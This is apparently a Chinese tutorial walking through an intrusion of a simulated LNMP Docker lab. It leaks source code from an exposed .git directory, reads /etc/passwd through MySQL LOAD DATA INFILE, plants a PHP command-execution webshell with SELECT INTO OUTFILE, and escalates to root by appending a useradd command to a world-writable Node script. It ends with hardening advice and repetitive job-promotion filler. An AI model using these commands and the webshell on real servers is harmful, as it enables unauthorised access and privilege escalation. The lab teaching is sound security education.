赞
踩
本文源于对真实网站的测试整理而来。介绍通过从git仓库的暴露导致网站源码泄露以及不安全的文件权限配置可能会带来的安全问题。 文中的运行环境及代码为该网站的简单模拟。
测试环境为经典的LNMP,即Linux、Nginx、MySQL、PHP架构的网站。Nginx运行了多个虚拟主机,其中PHP网站是一个图片浏览网站,提供简单的上传和浏览图片接口。网站使用git来管理代码版本且git目录可以通过http访问到。
测试环境已打包成docker镜像,感兴趣的同学可以自己构建、运行。下面是启动测试环境的步骤。
1.将dockerfile下载下来
$ git clone https://github.com/raojinlin/lnmp-container.git
2.构建镜像
$ cd lnmp-container
$ git submodule update # 更新子模块
$ docker build -t lnmp . # 构建镜像
3.运行镜像
$ docker run -p 8002:8002 -p 3306:3306 lnmp
接下来就可以访问网站了,http://127.0.0.1:8002/。
http://127.0.0.1:8002/
Git仓库有下面两种类型:
Git仓库目录包含以下文件:
关于各个文件详细介绍请查看:git-scm.com/docs/gitrep…。这里只对HEAD
、objects
、refs
做下简单的介绍。
ref: refs/heads/master
name
* 记录分支名称的树尖提交对象* refs/tags/name
* 记录任何对象名称(不一定是提交对象或指向提交对象的标记对象)。* refs/remotes/name
* 记录从远程存储库复制的分支的树尖提交对象。Git是一个内容可寻址的文件系统。Git的核心是一个简单的键值数据存储。我们可以在git插入任何类型的数据,然后git会返回一个可以在任意时间检索数据的key。git hash-object
命令可以对数据计算出一个哈希值,这个值就是这个数据在git中的索引。git cat-file
命令可以查看对象的内容,即通过对象的sha1检索。
对象的类型:
下面做一个实践,在git创建和查看对象。
首先,初始化一个Git仓库:
✔ /tmp/test_git_objects$ git init . # 初始化git
Initialized empty Git repository in /private/tmp/test_git_objects/.git/
使用git hash-object
命令从标准输入读取内容计算sha1值并将内容写入Git对象。
✔ /tmp/test_git_objects [master L|✔]$ echo xxxx | git hash-object -t blob -w --stdin
63fc8131d563e4c067404cb42d39eb293952bd51
然后我们就可以在.git/objects
目录看到刚刚新增的对象。
✔ /tmp/test_git_objects [master L|✔]$ find .git/objects
.git/objects
.git/objects/pack
.git/objects/info
.git/objects/63
.git/objects/63/fc8131d563e4c067404cb42d39eb293952bd51
✔ /tmp/test_git_objects [master L|✔]$
✔ /tmp/test_git_objects [master L|✔]$ file .git/objects/63/fc8131d563e4c067404cb42d39eb293952bd51
.git/objects/63/fc8131d563e4c067404cb42d39eb293952bd51: zlib compressed data
✔ /tmp/test_git_objects [master L|✔]$
使用git cat-file
命令查看对象内容。
✔ /tmp/test_git_objects [master L|✔]$ git cat-file -p 63fc8131d563e4c067404cb42d39eb293952bd51
xxxx
✔ /tmp/test_git_objects [master L|✔]$
关于Git对象的详细说明请前往查看:git-scm.com/book/en/v2/…
webshell的注入过程大概可以分为下面几个步骤:
1.尝试上传webshell
2.通过git查看服务端源码
3.通过mysql注入webshell1.load data infile2.outfile
首先我们知道了这个网站是提供了图片上传接口的,那么能不能通过这个接口上传一个PHP文件上去呢?让我们来试试。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5bd88f6f2cd04909bf04effc09ba9972~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JamqS “https://imgtu.com/i/5JamqS”” style=“margin: auto” />
上传失败了,应该是对文件名后缀做了检查。那给文件再加个后缀呢?
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f64d1af0c0a34adc9fec6cab2565a92f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JaDR1 “https://imgtu.com/i/5JaDR1"” style=“margin: auto” />
还是不行,估计对上传文件的媒体类型也做了检查。而且通过改文件名上传就算上传成功了也不一定能够被PHP解释器执行。一般来说nginx配置PHP-FPM反向代理都是匹配.php
后缀的文件,也就是说后缀为.php
的文件nginx才会交给PHP-FPM执行。
首先,我们先看看git现在处于什么位置(当前分支)。
✔ /tmp/mytestgit [master L|…2]$ curl 127.0.0.1:8002/.git/HEAD
ref: refs/heads/master
✔ /tmp/mytestgit [master L|…2]$ curl 127.0.0.1:8002/.git/refs/heads/master
3d72900a4e25eca964cb9d540c6461735be2a514
这里提供一个小脚本fetchobject.sh下载Git对象并保存到本地仓库。
#!/bin/bash prefix="${1:0:2}" object=${1:2} dir=".git/objects/${prefix}" if [ ! -d "$dir" ]; thenmkdir $dir; fi object_path=".git/objects/$prefix/$object" curl 127.0.0.1:8002/$object_path -o $object_path file $object_path; if [ $? -eq 0 ]; thenecho "";echo "Object $object_path fetched"; fi
在本地初始化一个git项目
将最新的object下载下来,可以看到这是个commit对象。
把当前commit对象所属的树对象下载下来,这里我们可以看到网站的目录结构了。
有了目录结构,接下来就可以看到代码内容了。先看看config.php文件有什么。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f3dc05127d224594ac179386bb7c36bf~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JNBTJ “https://imgtu.com/i/5JNBTJ”” style=“margin: auto” />
这里我们看到config.php中包含了数据连接的配置和上传相关的配置,有地址、用户名、密码。试试能不能登录到数据库。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/467ef566140c444e9d813e1b7bfd704c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JUSts “https://imgtu.com/i/5JUSts”” style=“margin: auto” />
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/dbeb55ee585845bdb662df73f90ee75c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JU3nO “https://imgtu.com/i/5JU3nO”” style=“margin: auto” />
登录到数据库成功!再看看其他的代码,看看upfile.php是什么逻辑。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/6df7a777289f44a38edc191b7099fdde~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JdGYd “https://imgtu.com/i/5JdGYd”” style=“margin: auto” />
这段代码应该是处理图片上传的,而且它对上传的文件扩展名和媒体类型有做检查,接着往下看会发现有一段代码是判断保存上传文件的目录存不存在,如果不存在那么就创建一个目录而且它的文件权限是777。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/064168e42df14ca98e1e23104b711254~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JwN4J “https://imgtu.com/i/5JwN4J”” style=“margin: auto” />
目前掌握的情况是:
1.知道了数据的地址和用户名、密码并且可以登录到数据库。
2.上传的文件会存放到uploads/目录中,uploads目录的文件权限是777。
如果可以通过MySQL向uploads/目录中写入一个文件,就完成了webshell的注入。
在MySQL中有两个语句可以对文件进行读写操作:LOAD DATA INFILE
和SELECT ... INTO OUTFILE
。
LOAD DATA LOCAL INFILE
)读取有了这两个语句就可以对服务器执行读写操作了。
比如读取/etc/passswd
文件。
首先先创建一个表来存放文件的内容。
create table t1 (id int primary key auto_increment,content text
);
执行语句,读取/etc/passwd文件到表t1,字段按换行符分隔,插入到content
字段。
LOAD DATA INFILE '/etc/passwd' into table t1 FIELDS TERMINATED BY '\n' (content);
读取成功。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/885868dba0d74bd59e202ac3ac01d1c4~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JB8kF “https://imgtu.com/i/5JB8kF”” style=“margin: auto” />
接下来要找到网站的document root在哪里,查看下nginx的配置文件/etc/nginx/nginx.conf
。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c393abf4ff3a4ac895d6c2ad87d32a38~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JDicR “https://imgtu.com/i/5JDicR”” style=“margin: auto” />
/etc/nginx/nginx.conf
没有发现PHP相关的配置,网站的nginx配置可能在/etc/nginx/sites-enabled
目录下。
但是文件名是什么呢?先试试/etc/nginx/sites-enabled/php
。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ecfd75557b804628b104329268b14242~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JDcUU “https://imgtu.com/i/5JDcUU”” style=“margin: auto” />
找到了,网站的路径在/var/www/phpupfile
。
试试能不能在网站根目录写入文件。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/827cb7acc4a149d3956e240b01361413~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JDHUO “https://imgtu.com/i/5JDHUO”” style=“margin: auto” />
写入失败了,MySQL是以mysql用户运行的,没有/var/www/phpupfile的写入权限。在upfile.php
文件中发现uploads
目录的权限是777,这个权限是可以写入的,再来一次。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ec09c2b2c0974d1584bb5867d364f2db~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5Jr0iD “https://imgtu.com/i/5Jr0iD”” style=“margin: auto” />
写入成功了。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/743ad33ac6594a9b852a0c8d291239f3~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5Jr0iD “https://imgtu.com/i/5Jr0iD”” style=“margin: auto” />
访问curl http://127.0.0.1:8002
看看,好家伙,写入成功了。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/dcff2f1e97f24b68b07b60567f98bd50~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JrhFS “https://imgtu.com/i/5JrhFS”” style=“margin: auto” />
现在可以写webshell了,下面是将一段PHP代码写入到/var/www/phpupfile/uploads/img.php
文件。这段代码会从url参数中读取命令(command)并执行它。
select '<?php system($_GET["command"] . " 2>&1");' into outfile'/var/www/phpupfile/uploads/img.php';
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/54192fff8d894e4795cf9c3d9380c9ba~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JsB7V “https://imgtu.com/i/5JsB7V”” style=“margin: auto” />
执行命令的效果。 [<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d82690cccc1b41edbc44e482ac2f48e5~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5Jsfn1 “https://imgtu.com/i/5Jsfn1"” style=“margin: auto” />
到这里webshell就注入成功了,现在我们可以在服务器执行命令了。不过webshell的执行权限有限,它是以www-data
用户运行的。
怎么能够拿到更高的权限呢?通过上面执行的ps auxf
命令可以看到服务器还运行了一个nodejs的脚本。如果可以在这个脚本里面一段代码那么就可以提权了,因为它是以root权限运行的。先看看/var/www/nodejs/server.js
的权限。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f4e765ba28db4828ac838bb9d217d6ba~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JytUK “https://imgtu.com/i/5JytUK”” style=“margin: auto” />
权限竟然是777,那就好办了,只要往这个脚本追加一段代码,等它下次重启的时候就会被执行,而且是以root用户执行!
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/af1831af0d4c4965b443070cb47b8862~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JyOGF “https://imgtu.com/i/5JyOGF”” style=“margin: auto” />
添加一个新用户user1并将其添加到root组中。
useradd -M -N -G root user1
在nodejs中可以通过child_process
模块执行命令:
try{require('child_process').execSync('useradd -M -N -G root user1')
} catch (e) {}
执行命令:
curl http://127.0.0.1:8002/uploads/img.php?command=echo%20%22try{%20require(%27child_process%27).execSync(%27useradd%20-M%20-N%20-G%20root%20user1%27)%20}%20catch%20(e)%20{}%22%20%3E%3E%20/var/www/nodejs/server.js
查看是否写入成功。
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e202edd4aa484916831d4381bf1907b2~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5Jg0v4 “https://imgtu.com/i/5Jg0v4"” style=“margin: auto” />
写入成功了,等脚本下次运行时就可以知道用户是否创建成功,创建成功的话就可以用该用户登录到服务器。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d3d6db245e2e48f2a86374b7e8a3484a~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JgXRS “https://imgtu.com/i/5JgXRS”” style=“margin: auto” />
本文记录了从网站的git暴露开始,通过mysql注入webshell等如何一步一步拿到服务器的权限的步骤。在管理网站时要注意git目录的访问控制以及mysql的FILE权限,不要给文件或者目录设置过高的权限。
下面是几点安全防范建议:
1.不要暴露.git仓库
2.不要给过高的权限
3.对于某些服务,不要以root用户运行进程
:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fimgtu.com%2Fi%2F5JgXRS “https://imgtu.com/i/5JgXRS”" style=“margin: auto” />
本文记录了从网站的git暴露开始,通过mysql注入webshell等如何一步一步拿到服务器的权限的步骤。在管理网站时要注意git目录的访问控制以及mysql的FILE权限,不要给文件或者目录设置过高的权限。
下面是几点安全防范建议:
1.不要暴露.git仓库
2.不要给过高的权限
3.对于某些服务,不要以root用户运行进程
4.建立多个mysql用户,且按场景分配权限,比如网站的用户就一般用不到LOAD DATA
这种语句,如果要用的话可以新建一个专门用来操作文件的用户。## 题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。